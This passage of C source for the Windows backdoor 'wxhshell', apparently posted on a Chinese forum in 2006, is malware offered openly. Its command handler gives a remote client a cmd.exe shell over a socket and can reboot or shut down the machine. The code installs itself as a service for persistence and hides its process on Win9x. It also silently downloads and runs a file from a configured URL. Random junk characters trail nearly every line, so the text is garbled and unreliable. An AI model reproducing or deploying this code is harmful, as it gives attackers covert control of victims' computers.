    switch(cmd[0]) { A lU^ ,X  
  iod%YjZu  
  // 帮助 ||$&o!;/L  
  case '?': { %**f`L%jN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O`5,L[i1y  
    break; ]b4WfIu  
  } *M.xVUPr  
  // 安装 (eN7s_  
  case 'i': { $T'!??|IF  
    if(Install()) 6Z2,:j;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QU).q65p  
    else jj5S+ >4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EApKN@<"  
    break; Z>rY9VvWD  
    } F-yY(b]$  
  // 卸载 /A=w`[<  
  case 'r': { *%j$i_  
    if(Uninstall()) Y=Vbs x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); % Y^J''  
    else oUv26t~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u!_l/'\  
    break; $]v}X},,  
    } ^J'_CA  
  // 显示 wxhshell 所在路径 / ;]5X  
  case 'p': { ht3.e[%'b  
    char svExeFile[MAX_PATH]; (`P\nnb  
    strcpy(svExeFile,"\n\r"); lPTx] =G  
      strcat(svExeFile,ExeFile); yeo&Qz2vU  
        send(wsh,svExeFile,strlen(svExeFile),0); P?54"$b  
    break; +EETo):  
    } FcDS*ZEk!  
  // 重启 4.RQ3SoDa  
  case 'b': { zKJ2 ~=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .|UQ)J?s  
    if(Boot(REBOOT)) {Cx5m   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xUo6~9s7  
    else { k:@DK9 "^  
    closesocket(wsh); V>Wk\'h  
    ExitThread(0); \/a6h   
    } {MUB4-@?F$  
    break; r~4uIUE{  
    } 7u):J  
  // 关机 rO1!h%&o"  
  case 'd': { 3*b5V<}'|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w:~*wv  
    if(Boot(SHUTDOWN)) C-'hXh;hQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {1W:@6tl  
    else { ccD+AGM.  
    closesocket(wsh); g)D_  !iz  
    ExitThread(0); ._mep\#.:  
    } }U_ ' 7_JT  
    break; UX 1 )((  
    } JfY*#({y  
  // 获取shell ZCiCZ)oc  
  case 's': { \8`?ir q"  
    CmdShell(wsh); <xOv8IQ|  
    closesocket(wsh); wQkM:=t5  
    ExitThread(0); +.G"ool  
    break; s{hKl0ds  
  } UO/sv2CN  
  // 退出 :+rGBkw1m  
  case 'x': { 7s9h:/Lu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wj|Zn+{"nF  
    CloseIt(wsh); Vz{+3vfra6  
    break; c OYD N[k  
    } okNo- \Dh!  
  // 离开 G0cG%sIl  
  case 'q': { Tkbao D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I[ \~ pi,  
    closesocket(wsh); UM}u(;oo%)  
    WSACleanup(); }pc9uvmIJ  
    exit(1); O] _4pP  
    break; 7nZPh3%  
        } e#eVc'=cDR  
  } f8 d 3ZK  
  } AOf4y&B>q  
6*OL.~WE  
  // 提示信息 NkE0S`Xf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wT1s;2%  
} 2G8pDvBr  
  } e~'` x38  
jN=<d q ~  
  return; P&-o>mM  
} <Au2e  
iCt.rr~;V  
// shell模块句柄 ZzT=m*tQ&  
int CmdShell(SOCKET sock) s='+[*&&  
{ DL]tg [w{  
STARTUPINFO si; pl[J!d.c  
ZeroMemory(&si,sizeof(si)); " \$^j#o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }[*'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yU$ MB,1  
PROCESS_INFORMATION ProcessInfo; vdQoJWuB  
char cmdline[]="cmd"; S}m_XR]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V7ph^^sC}  
  return 0; : Mf"   
} p7?  
~6vz2DuB=  
// 自身启动模式 WWT1= #"  
int StartFromService(void) 5{Cz!ut;tE  
{ uOxHa>h  
typedef struct PT"}2sR)  
{ }Q7y tE  
  DWORD ExitStatus; 4#U}bN  
  DWORD PebBaseAddress; `]Bb0h1![  
  DWORD AffinityMask; R[WiW RfD  
  DWORD BasePriority; |"H 2'L$  
  ULONG UniqueProcessId; ~z,o):q1 }  
  ULONG InheritedFromUniqueProcessId; 2[E wN!IZ  
}   PROCESS_BASIC_INFORMATION; <v"o+  
!e$gp (4  
PROCNTQSIP NtQueryInformationProcess; 5J5si<v25  
/ )0hsQs  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w =^.ICyb@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U ZZJtQt  
<hT\xBb:  
  HANDLE             hProcess; ^;C&  
  PROCESS_BASIC_INFORMATION pbi; g7oY1;  
%H{p&ms  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '<Z[e`/  
  if(NULL == hInst ) return 0; ^0VL](bD>  
?KT{H( rU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R1jl<=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pYO =pL^Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \& JZ >h  
qnm_#!&uHT  
  if (!NtQueryInformationProcess) return 0; (8nv&|  
]@q%dsz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); en<mm#Ab  
  if(!hProcess) return 0; #-hO\ QdC  
 *kr/,_K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >rG>Bz^Pu  
Io6/Fv>!  
  CloseHandle(hProcess); yNu_>!Cp5  
{.Tx70kn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^l &lwSRVt  
if(hProcess==NULL) return 0; :_{8amO  
UD I{4+z  
HMODULE hMod; n:j'0WW  
char procName[255]; %>_[b,  
unsigned long cbNeeded; J3 $>~?^1  
tDByOml8Ix  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -[>de! T3$  
]`^! ]Ql  
  CloseHandle(hProcess); M  .#}  
3? {AGJ1  
if(strstr(procName,"services")) return 1; // 以服务启动 k.T=&0J_1  
LZ*8YNp1'  
  return 0; // 注册表启动 > mGH4{H  
} 8\"<t/_ W  
ZbnAAbfKH  
// 主模块 f%Q)_F[0D4  
int StartWxhshell(LPSTR lpCmdLine) +`y(S}Z  
{ +9)Jtm oL  
  SOCKET wsl; ]5!3|UYS  
BOOL val=TRUE; /-=fWtA  
  int port=0; lFBdiIw  
  struct sockaddr_in door; A q i:h]x  
+X?ErQm  
  if(wscfg.ws_autoins) Install(); ~ELY$G.xl  
=w2 4(S  
port=atoi(lpCmdLine); PK*Wu<<  
\0$+*ejz  
if(port<=0) port=wscfg.ws_port; X -pbSq~5  
[g}Cve#i  
  WSADATA data; _0H oJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UBvp3 2p  
dj gk7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }nx)|J*p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U>5^:%3  
  door.sin_family = AF_INET; 16NHzAQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =C\Tl-$\f  
  door.sin_port = htons(port); \Lx=iKs<  
CK* * RZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fv+]iK<{  
closesocket(wsl); >7U/TVd&  
return 1; n. %QWhUB  
} >KKWhJ  
q? ,PFvs"  
  if(listen(wsl,2) == INVALID_SOCKET) { mvn- QP~"  
closesocket(wsl); F%>$WN#2  
return 1;  C=D*  
} 1ni+)p>]  
  Wxhshell(wsl); }~FX!F#oU  
  WSACleanup(); WP<L9A  
Xr*I`BJ  
return 0; 0b&# w  
fI.|QD*$b  
} qpQ;,8X-"  
<T 2O^  
// 以NT服务方式启动 x6ghO-s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j#HXuV6  
{ }1a}pm2p  
DWORD   status = 0; ["Zvwes#7  
  DWORD   specificError = 0xfffffff; .#EU@Hc  
\S}/2]* 1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zAgX{$/Fg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z0gtliJ@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y;'<u\^M"  
  serviceStatus.dwWin32ExitCode     = 0; D 0Xl`0"'  
  serviceStatus.dwServiceSpecificExitCode = 0; p1N}2]e  
  serviceStatus.dwCheckPoint       = 0; IQqUFP$8g  
  serviceStatus.dwWaitHint       = 0; F)3+IuY  
*^>"  h@J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +VwQ=[y]  
  if (hServiceStatusHandle==0) return; hgU;7R,?ir  
{!,K[QwcI  
status = GetLastError(); 6<&~ R 3dQ  
  if (status!=NO_ERROR) KsDS!O  
{ l4C{LZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "t|)Kl  
    serviceStatus.dwCheckPoint       = 0; dX(JV' 18A  
    serviceStatus.dwWaitHint       = 0; +p u[JHF  
    serviceStatus.dwWin32ExitCode     = status; HoI6(t  
    serviceStatus.dwServiceSpecificExitCode = specificError; *WE8J#]d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q%e<0t7  
    return; ?m7:@GOE1  
  } T(|'.&a  
I~,.@{4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RpdUR*K9x  
  serviceStatus.dwCheckPoint       = 0; YQ0#j'}/  
  serviceStatus.dwWaitHint       = 0; ^[<BMk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Pnytox  
} +C~h(  
6w.E Sm  
// 处理NT服务事件,比如:启动、停止 vCa8`m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3%v)!dTa<^  
{ *l5?_tF  
switch(fdwControl) #W\}v(Ke  
{ 8Vu@awz{L  
case SERVICE_CONTROL_STOP: Okq,p=D6  
  serviceStatus.dwWin32ExitCode = 0; DrRK Sc(u9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +n^M+ea;  
  serviceStatus.dwCheckPoint   = 0; JCWTB`EB>  
  serviceStatus.dwWaitHint     = 0; +!lDAkW0  
  { qS?o22  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p fc6;K:d  
  } W(q3m;n  
  return; <4r8H-(%  
case SERVICE_CONTROL_PAUSE: reu[rZ&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %;`Kd}CO  
  break; (j}7|*.  
case SERVICE_CONTROL_CONTINUE: <J509j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j>8DaEfwx  
  break; ;|Cd q  
case SERVICE_CONTROL_INTERROGATE: b.*LmSX#  
  break; c^}G=Z1@  
}; .*zN@y3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^O|fw?,  
} tYA@J["^  
/x3*oO1  
// 标准应用程序主函数 pBtO1x6x/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) , Ckcc  
{ !Asncc G  
TY8gB!^  
// 获取操作系统版本  _a09;C  
OsIsNt=GetOsVer(); AVT % AS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^'QO!{7f  
U]hqRL  
  // 从命令行安装 9f~qD&~  
  if(strpbrk(lpCmdLine,"iI")) Install(); fPe S;  
*p/,Z2f  
  // 下载执行文件 ^h?fr`  
if(wscfg.ws_downexe) { @O"7@%nu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^\}MG!l  
  WinExec(wscfg.ws_filenam,SW_HIDE); |E+.y&0;  
} ZRMim6a4X  
vQrxx  
if(!OsIsNt) { FJ_JaIby  
// 如果时win9x,隐藏进程并且设置为注册表启动 V?XQjH1X  
HideProc(); St5;X&Q  
StartWxhshell(lpCmdLine); 3.W[]zH/u  
} @CNJpQ ujn  
else pg{VKrT`  
  if(StartFromService()) - 2)k!5X=  
  // 以服务方式启动 pRQ7rT',v  
  StartServiceCtrlDispatcher(DispatchTable); TV{GHB!p"  
else ^4=#, K  
  // 普通方式启动 _E '?U  
  StartWxhshell(lpCmdLine); CL0 lMZ  
ni;)6,i  
return 0; n)yDep]$G  
}
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只看该作者 1 发表于: 2006-10-10
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